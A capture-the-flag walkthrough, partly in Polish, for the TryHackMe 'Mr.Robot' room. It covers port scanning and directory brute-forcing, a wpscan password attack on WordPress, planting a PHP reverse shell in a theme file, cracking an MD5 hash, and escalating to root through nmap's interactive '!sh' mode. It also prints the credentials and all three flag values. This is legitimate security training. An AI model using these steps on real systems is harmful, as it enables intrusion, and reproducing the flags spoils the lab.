Mr.Robot

https://tryhackme.com/room/mrrobot

Cel

- key1
- key2
- key3

Nmep Init

```
nmap -p- 10.10.32.175
```

```
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp closed ssh
80/tcp open http
443/tcp open https
```

Nmap Full

```
nmap -p 22,80,443 -sC -sV 10.10.32.175
```

```
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
http-server-header: Apache
443/tcp open ssl/http Apache httpd
http-server-header: Apache
```

Gobuster

```
gobuster dir --url 10.10.32.175:80 --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 30
```

```
/images (Status: 301) [Size: 235] [-->
http://10.10.32.175/images/]
```

```
/blog (Status: 301) [Size: 233] [--> http://10.10.32.175/blog/]
/sitemap (Status: 200) [Size: 0]
/rss (Status: 200) [Size: 364]
/login (Status: 302) [Size: 0] [--> http://10.10.32.175:80/wp-
login.php]
/video (Status: 301) [Size: 234] [-->
http://10.10.32.175/video/]
/0 (Status: 301) [Size: 0] [--> http://10.10.32.175:80/0/]
/feed (Status: 200) [Size: 809]
/image (Status: 301) [Size: 0] [-->
http://10.10.32.175:80/image/]
/atom (Status: 200) [Size: 623]
/wp-content (Status: 301) [Size: 239] [-->
http://10.10.32.175/wp-content/]
/admin (Status: 301) [Size: 234] [-->
http://10.10.32.175/admin/]
/audio (Status: 301) [Size: 234] [-->
http://10.10.32.175/audio/]
/intro (Status: 200) [Size: 516314]
/wp-login (Status: 200) [Size: 2627]
/css (Status: 301) [Size: 232] [--> http://10.10.32.175/css/]
/rss2 (Status: 200) [Size: 809]
/license (Status: 200) [Size: 309]
/wp-includes (Status: 301) [Size: 240] [-->
http://10.10.32.175/wp-includes/]
/js (Status: 301) [Size: 231] [--> http://10.10.32.175/js/]
/Image (Status: 301) [Size: 0] [-->
http://10.10.32.175:80/Image/]
/rdf (Status: 200) [Size: 813]
/page1 (Status: 200) [Size: 8366]
/readme (Status: 200) [Size: 64]
/robots (Status: 200) [Size: 41]
```

Robots.txt

http://10.10.32.175/robots.txt

```
User-agent: *
fsocity.dic
key-1-of-3.txt
```

http://10.10.32.175/fsocity.dic
http://10.10.32.175/key-1-of-3.txt

Key 1 ***http://10.10.32.175/key-1-of-3.txt***

```
073403c8a58a1f80d943455fb30724b9
```

http://10.10.32.175/fsocity.dic

Plik tekstowy, Elliot bohater serialu

```
true
false
wikia
from
the
now
Wikia
extensions
scss
window
http
var
page
Robot
Elliot
styles
and
document
mrrobot
com
ago
function
eps1
```

```
null
chat
user
Special
GlobalNavigation
images
net
push
category
Alderson
lang
```

wp-login, wordpress

wpscan

```
wpscan --url 10.10.32.175 -t 44 -U Elliot -P fsocity.dic
```

```
[+] Performing password attack on Xmlrpc Multicall against 1 user/s
[SUCCESS] - Elliot / ER28-0652
All Found

[!] Valid Combinations Found:
 | Username: Elliot, Password: ER28-0652
```

Elliot:ER28-0652

PHP reverse shell

- Mozliwosc edycji theme strony
- Umieszczenie php reverse shell w stronie mozliwej do wywolania

```
nc -nvlp 1234
```

- /wordpress/wp-content/themes/twentyfifteen/404.php

```
nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.11.83.56] from (UNKNOWN) [10.10.32.175] 49526
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
 12:46:45 up  1:46,  0 users,  load average: 0.00, 0.04, 0.77
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$
```

- "ladniejszy" shell

```
python -c 'import pty;pty.spawn("/bin/bash")'
```

```
$ python -c 'import pty;pty.spawn("/bin/bash")'
daemon@linux:/$ pwd
pwd
/
daemon@linux:/$

daemon@linux:/$ id
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
daemon@linux:/$
```

eksploracja maszyny

```
daemon@linux:/home/robot$ ls -ls
ls -ls
total 8
4 -r-------- 1 robot robot 33 Nov 13  2015 key-2-of-3.txt
4 -rw-r--r-- 1 robot robot 39 Nov 13  2015 password.raw-md5
daemon@linux:/home/robot$ cat password.raw-md5
cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
```

- Haslo sprawdzone na crackstation
  robot:abcdefghijklmnopqrstuvwxyz

PrivEsc

```
daemon@linux:/home/robot$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz

robot@linux:~$ pwd
pwd
/home/robot
robot@linux:~$ id
id
uid=1002(robot) gid=1002(robot) groups=1002(robot)
robot@linux:~$
```

SUID

```
find / -perm -u=s -type f 2>/dev/null
```

/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown

GTFOBins

NMAP The interactive mode, available on versions 2.02 to 5.21, can be used to execute shell commands.

```
nmap --interactive
nmap> !sh
```

```
nmap --interactive

Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
!sh
# pwd
pwd
/home/robot
# whoami
whoami
root
```

```
ls
key-2-of-3.txt  password.raw-md5
bash-4.3$ cat key-2-of-3.txt
cat key-2-of-3.txt
822c73956184f694993bede3eb39f959
bash-4.3$
```

```
# python -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'
bash-4.3$ id
id
uid=1002(robot) gid=1002(robot) groups=1002(robot)
bash-4.3$ nmap --interactive
nmap --interactive

Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
!sh
# cd root
cd root
# ls
ls
firstboot_done  key-3-of-3.txt
# cat key-3-of-3.txt
cat key-3-of-3.txt
```

```
04787ddef27c3dee1ee161b21670b4e4
#
```